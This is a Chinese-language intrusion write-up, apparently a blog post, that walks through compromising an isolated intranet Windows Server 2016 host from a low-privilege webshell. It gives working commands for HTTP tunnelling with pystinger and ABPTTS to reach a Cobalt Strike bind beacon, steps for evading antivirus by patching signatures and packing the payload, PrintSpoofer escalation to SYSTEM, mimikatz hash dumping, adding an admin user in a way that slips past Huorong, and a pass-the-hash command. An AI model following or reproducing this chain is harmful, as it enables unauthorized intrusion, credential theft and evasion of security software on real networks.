本文为一篇利用非常规手段突破安全策略的内网渗透记录
Tcp、icmp、DNS协议不通,无法直接与公网的cs服务端建立连接,(内网的cs服务端也无法与其建立连接)公网也无法访问目标web服务(纯内网web服务)
webshell权限太低,限制性大,需要上线cs提权,因为cs是采用反射dll来加载pe程序,从而在执行一些敏感操作的时候能起到一定的bypass作用,例如mimikatz抓密码等操作。
像转储LSA到本地然后再dumphash都是行不通的,因为webshell权限太低了,转储LSA至少得管理员权限。
而且目标网络环境较为苛刻,任何非http协议的通讯都会被防火墙拦截,无法正常建立一个具有交互功能的shell。
在查阅相关资料后,发现网上大部分文章都通过Pystinger
来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs。
但是这里有个问题,公网cs服务器无法访问目标的web服务,只有同处于在一个内网的机器才能访问目标web服务,所以无法直接在服务器上搭建pystinger将目标机端口反向代理至公网cs监听端口上。
这里采用的解决方法是直接在本机上搭建一个cs服务,然后再进行pystinger反代操作。
60020
(上面图中6002少写了个0...)start D:\stinger_server.exe 0.0.0.0
stinger_client -w http://10.1.1.1:8080/2.aspx-l 0.0.0.0 -p 4002
resever_bind
,上传至目标并执行不上线,执行一下tasklist发现shell.exe已经执行了,就是不上线,pystinger报错。
既然反向代理行不通,那就用正向代理,然后采用正向shell来连接。
目标机器不出网,本机能出网,可通过本机当作跳板机将目标机器的正向shell带出来。
原理图:
常见的http隧道工具Neo-reGeorg、reGeorg
(应该这两款用的比较多)能适用于大多数网络环境,但是在这里就是不行,会出现跳板机直接与cs服务器断开的情况,而cs的connect正向连接请求是由跳板机的beacon发出的,你只能将beacon代理进socks隧道才能使connect请求能连接正向shell的监听端口,但因为目标机不出网,在跳板机的beacon进入代理隧道之后是无法连接到处于公网的cs服务端的,所以只能是端口对端口映射,而不能用http协议搭建的socks隧道(我猜的)。
所以这里将使用ABPTTS
进行http隧道搭建。
python abpttsfactory.py -o server \\生成服务端脚本,初始化。
这个地方冰蝎、大马都传文件传不上去,只能用哥斯拉的大文件上传把abptts.aspx传了上去(后面exe的上传也是用的哥斯拉的大文件上传功能)exe文件落地也是个坑,在正常环境中,我们可以用certutil、powershell等方法下载exe到目标上,但是这台机器他不出网,因为出站规则的原因,甚至都无法访问内网中其他机器的web服务器,最后用哥斯拉的大文件上传解决了这个问题。
上传完成之后的abptts.aspx地址:http://10.1.1.1:8080/abptts.aspx
访问一下abptts.aspx,页面回显一长串密文说明abptts客户端正常
Python abpttsclient.py -c server/config.txt -u "http://10.1.1.1:8080/abptts.aspx"-f 127.0.0.1:7777/127.0.0.1:1111
这里的127.0.0.1:7777是本机端口,127.0.0.1:1111是目标机的端口
意思是将目标机的1111端口通过http隧道映射至本机的7777端口,你向本地的7777端口发送的请求都将转发至目标机的1111端口。
正向shell的作用原理是,bind在目标机器上开放一个监听端口,等待其他主机来访问这个监听端口,子Beacon从父Beacon接受请求,而不是直接与cs服务端通讯。
而反向shell则是,由目标发起请求访问cs服务端的监听端口
假若目标机器的出站规则十分严格且目标也不出网,反向shell在这种情况下则无法正常与cs服务端保持通讯。
假若采用正向shell的话,在无论他的入站规则多严格,他也不会去阻止本地端口之间的通讯,这样就能绕过严格的出入站规则策略。
上面有提到过目标上有火绒和WD两款杀毒,直接上传正向shell肯定是会被秒杀的,本地测试报毒。
Reserver_Bind免杀较为简单,直接生成shellcode,通过分离免杀等方法加载shellcode。
但是正向shell不能生成shellcode,它属于stageless型Beacon
,而stageless型Beacon无法生成shellcode,所以无法通过常规的分离式免杀来绕过杀毒。
上传正向bind,在冰蝎上执行 D:/beacon_se.exe,可以看到木马在目标机上开启了1111端口,我们通过http隧道去连接这个位于目标机1111端口上的正向bind。
本机(攻击者)上线cs作为跳板机,然后在本机shell中执行
成功正向上线 10.1.1.1,但是上线的shell权限极低,mimikatz无法运行,因为正向shell的原因,就算提权成功也无法直接反弹shell,而且因为目标系统是2016,插件中的常见提权脚本都会提权失败。
上传PrintSpoofer.exe至目标主机。
执行如下命令,以system的权限运行我的正向shell,那么我将得到一个system权限的shell,而不是asp的低权限shell。
C:\Windows\Temp\PrintSpoofer -c D:/1111_se.exe
Netstat -ano确认一下有没有在本地开放一个1111端口。
正向shell正常运行,跳板机再次连接正向bind。
成功提权,渗透至此已基本结束战斗,得到一个system权限的正向shell,mimikatz抓密码,无明文,但能拿到hash。
Net1改名添加用户,报错,必然是被火绒拦截了,上杀器直接驱动层干杀软。
本地实验能干掉,但是不知道为什么在目标上就实现不了。
换思路:火绒、360等国内杀毒拦截添加用户命令往往只针对net
、net1
这俩进程,并没有hook底层函数,所以我们只需要不去执行net、net1而去直接调用底层函数就能绕过杀毒的监控。
原理不去深度刨析了,网上有文章。
总结一下整个渗透过程中有趣的几个点,整个流程大概花了两天的时间,主要是有几个地方踩坑了。
一、环境限制:
1.通过冰蝎连接本机系统服务器,的webshell,低权限,server 2016
2.内网中的目标系统装有火绒,ASMI默认开启,对ps脚本策略有限制。
3.内网中的目标系统不能和公网直接通信,也不能通过dns,tcp,icmp和目标系统通信,但是本机系统可以通过http 8080端口协议访问内网中的目标系统。
二、正向代理突破限制
https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md
1.在本机系统中开启cs服务,cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
2.在本机系统中通过http 8080访问内网目标系统,通过文件上传,上传冰蝎免杀一句话,在本地系统通过冰蝎连接内网目标系统,并同通过冰蝎将CS生成的反射DLL上传到内网目标系统,并执行。
3.将proxy.jsp通过冰蝎上传到内网目标服务器,确保 http://10.1.1.1:8080/proxy.jsp 可以访问,页面返回 UTF-8
4.同时将stinger_server.exe上传到内网目标服务器,冰蝎下执行start D:\stinger_server.exe 启动服务端
3.在本机系统中执行:
stinger_client -w http://10.1.1.1:8080/proxy.jsp -l 127.0.0.1 -p 60000
此时已经在本机系统 127.0.0.1:60000启动了一个10.1.1.1:8080所在内网的socks4a代理
此时已经将内网的目标服务器的127.0.0.1:60020映射到本机系统的127.0.0.1:60020
三、正向代理+正向shell突破限制
ABPTTS优点:
1.对抗特征检测十分优秀
2.创建的隧道十分稳定
1.本地系统中启动配置abptts
python abpttsfactory.py -o server \\生成服务端脚本,初始化
2.在本机系统中通过http 8080访问内网目标系统,通过文件上传,上传冰蝎免杀一句话,在本地系统通过冰蝎连接内网目标系统,并同通过冰蝎将CS生成的反射DLL上传到内网目标系统,并执行。
3..将abptts.aspx通过冰蝎上传到内网目标服务器
4.上传完成之后的abptts.aspx地址:http://10.1.1.1:8080/abptts.aspx
5.在本机系统中执行以下命令,启动http隧道
Python abpttsclient.py -c server/config.txt -u "http://10.1.1.1:8080/abptts.aspx"-f 127.0.0.1:7777/127.0.0.1:1111
这里的127.0.0.1:7777是本机端口,127.0.0.1:1111是目标机的端口
将目标机的1111端口通过http隧道映射至本机的7777端口,你向本地的7777端口发送的请求都将转发至目标机的1111端口
6.在公网VPS的上创建cs正向监听器,(name(正向),payload(beacon tcp), port(1111)
7.生成正向载荷(在生成正向载荷的时候只能选择stageless Beacon ),需要对载荷进行免杀
8.通过010Editor修改载荷特征码的十六进制来破环特征码
9.通过SafengineShielden对载荷进行免,反LPK注入、反调试器附加、反内存转储选上,复杂度拉满,虚拟机检测不要打勾,最后加一层upx壳,Resource Hacker加入一个任意图标文件
10.通过冰蝎将载荷上传到内网目标系统中,并在冰蝎上执行 D:/beacon_se.exe。
11.在cs命令中执行以下命令,开启正向链接shell
connect 127.0.0.1 7777
12.通过冰蝎将PrintSpoofer.exe上传至内网目标主机以及负载111_se.exe
13.通过冰蝎执行如下命令,以system的权限运行我的正向shell,那么我将得到一个system权限的shell,而不是asp的低权限shell
C:\Windows\Temp\PrintSpoofer -c D:/1111_se.exe
14.正向shell正常运行,在CS中命令中再次正向绑定
connect 127.0.0.1 7777
15.将mimikatz进行免杀,然后上传到内网目标系统中,并执行,只能获取到密码hash
16.通过Windows API 添加管理员用户绕过火绒拦截
https://github.com/newsoft/adduser
17.通过hash传递,直接远程内网目标系统
sekurlsa::pth /user:Administrator /domain:用户名 /ntlm:194f34439dd27846db00c6723036da6b "/run:mstsc.exe /restrictedadmin"194f34439dd27846db00c6723036da6b